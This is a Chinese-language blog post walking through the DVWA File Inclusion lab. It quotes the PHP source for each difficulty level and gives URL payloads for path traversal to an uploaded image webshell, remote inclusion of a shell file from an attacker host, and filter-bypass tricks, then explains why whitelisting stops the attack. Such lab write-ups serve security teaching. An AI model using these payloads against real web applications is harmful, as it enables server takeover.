C1imber's Blog

dvwa File Inclusion

字数统计: 969阅读时长: 4 min
2017/12/26 Share

dvwa文件包含漏洞

文件包含漏洞

程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。文件包含漏洞分为本地文件包含和远程文件包含,当php开启了allow_url_include时,将允许远程文件包含,为了研究文件包含,我们将allow_url_include打开,文件包含漏洞可以用来遍历目录文件,结合文件上传漏洞可以getshell,或者直接利用远程文件包含同样可以getshell

测试环境

一台win2003虚拟机,ip为192.168.50.128,用wamp集成环境将dvwa搭在8080端口,php.ini中allow_url_includeOn
一台win7,攻击者服务器,ip为192.168.50.155,用来远程文件包含

之前我们在文件上传漏洞中上传了图片马,我们利用文件包含漏洞去包含图片马,同样可以直接包含php一句话木马文件getshell,由于文件包含的特性,不管文件后缀名是什么,只要当中有php代码,都会当做php执行

low级别

代码如下

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?> 

可以看到没有任何过滤,我们可以直接利用本地文件包含包含之前的图片马

payload

http://192.168.50.128:8080/DVWA-master/vulnerabilities/fi/?page=../../hackable/uploads/heishacker.jpg

mark
同时可以远程文件包含,包含远程服务器上的shell.txt,里面写着一句话木马

payload

http://192.168.50.128:8080/DVWA-master/vulnerabilities/fi/?page=http://192.168.50.155/shell.txt

mark
这两种方式都可以getshell

medium级别

代码如下

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?> 

可以看出用str_replace将../,http://,https://都替换成了空,但是str_replace这种方法是极其不安全的,首先这个函数只会检查一次,其次代码没有判断大小写,下面是绕过的payload

本地包含绕过

http://192.168.50.128:8080/DVWA-master/vulnerabilities/fi/?page=..././..././hackable/uploads/heishacker.jpg

mark
远程包含绕过

http://192.168.50.128:8080/DVWA-master/vulnerabilities/fi/?page=Http://192.168.50.155/shell.txt

mark
http://192.168.50.128:8080/DVWA-master/vulnerabilities/fi/?page=hthttp://tp://192.168.50.155/shell.txt
mark

high级别

代码如下

<?php

// The page we wish to display
$file = $_GET[ 'page' ];
if(!function_exists('fnmatch')) {

    function fnmatch($pattern, $string) {
        return preg_match("#^".strtr(preg_quote($pattern, '#'), array('\*' => '.*', '\?' => '.'))."$#i", $string);
    } // end

} // end if
// Input validation
if( !fnmatch( "file*", $file ) && $file !=     "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

可以看出采用了白名单过滤,要求page后必须是以file开头的额,远程文件包含是不能使用了,我们可以用file协议包含图片马,同时要猜路径名,在文件上传中已经提到过,不在重复,可以看出白名单远比黑名单安全的多

impossible级别

代码如下

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

可以看出完全使用了白名单过滤,只要求允许的文件出现在page后,这种方式是最安全的,有效的防止了文件包含

CATALOG
  1. 1. dvwa文件包含漏洞
    1. 1.0.1. 文件包含漏洞
    2. 1.0.2. 测试环境
    3. 1.0.3. low级别
    4. 1.0.4. medium级别
    5. 1.0.5. high级别
    6. 1.0.6. impossible级别